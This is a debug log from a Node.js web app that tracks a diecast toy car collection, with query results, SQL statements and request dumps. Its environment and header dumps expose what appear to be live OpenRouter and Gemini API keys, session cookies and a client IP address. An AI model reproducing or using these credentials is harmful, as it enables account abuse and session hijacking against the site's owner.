    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:32:08.592Z server-connect:router Serving templateView /diecast
2026-02-04T05:32:08.593Z server-connect:app Executing action step identify
2026-02-04T05:32:08.593Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:08.593Z server-connect:output identity: 1
2026-02-04T05:32:08.593Z server-connect:app Executing action step restrict
2026-02-04T05:32:08.593Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T05:32:08.593Z server-connect:output restrict: undefined
2026-02-04T05:32:08.593Z server-connect:router Render template layouts/main
2026-02-04T05:32:08.594Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T05:32:11.693Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:32:11.693Z server-connect:app Executing action step identify
2026-02-04T05:32:11.693Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:11.693Z server-connect:output identity: 1
2026-02-04T05:32:11.693Z server-connect:app Executing action step restrict
2026-02-04T05:32:11.694Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:32:11.694Z server-connect:output restrict: undefined
2026-02-04T05:32:11.694Z server-connect:app Executing action step paged
2026-02-04T05:32:11.694Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T05:32:11.696Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T05:32:52.377Z server-connect:router Serving templateView /diecast
2026-02-04T05:32:52.377Z server-connect:app Executing action step identify
2026-02-04T05:32:52.377Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:52.377Z server-connect:output identity: 1
2026-02-04T05:32:52.377Z server-connect:app Executing action step restrict
2026-02-04T05:32:52.377Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T05:32:52.378Z server-connect:output restrict: undefined
2026-02-04T05:32:52.378Z server-connect:router Render template layouts/main
2026-02-04T05:32:52.378Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T05:32:53.292Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T05:32:53.296Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T05:32:53.299Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:32:53.299Z server-connect:app Executing action step identify
2026-02-04T05:32:53.299Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:53.300Z server-connect:output identity: 1
2026-02-04T05:32:53.300Z server-connect:app Executing action step restrict
2026-02-04T05:32:53.300Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:32:53.303Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:32:53.303Z server-connect:app Executing action step identify
2026-02-04T05:32:53.303Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:53.303Z server-connect:output identity: 1
2026-02-04T05:32:53.303Z server-connect:app Executing action step restrict
2026-02-04T05:32:53.303Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:32:53.304Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T05:32:53.304Z server-connect:app Executing action step identify
2026-02-04T05:32:53.304Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:53.304Z server-connect:output identity: 1
2026-02-04T05:32:53.305Z server-connect:app Executing action step restrict
2026-02-04T05:32:53.305Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T05:32:53.305Z server-connect:output restrict: undefined
2026-02-04T05:32:53.305Z server-connect:app Executing action step select
2026-02-04T05:32:53.305Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T05:32:53.305Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T05:32:53.305Z server-connect:app Executing action step identify
2026-02-04T05:32:53.305Z server-connect:app options: { provider: 'security' }
2026-02-04T05:32:53.306Z server-connect:output identity: 1
2026-02-04T05:32:53.306Z server-connect:app Executing action step restrict
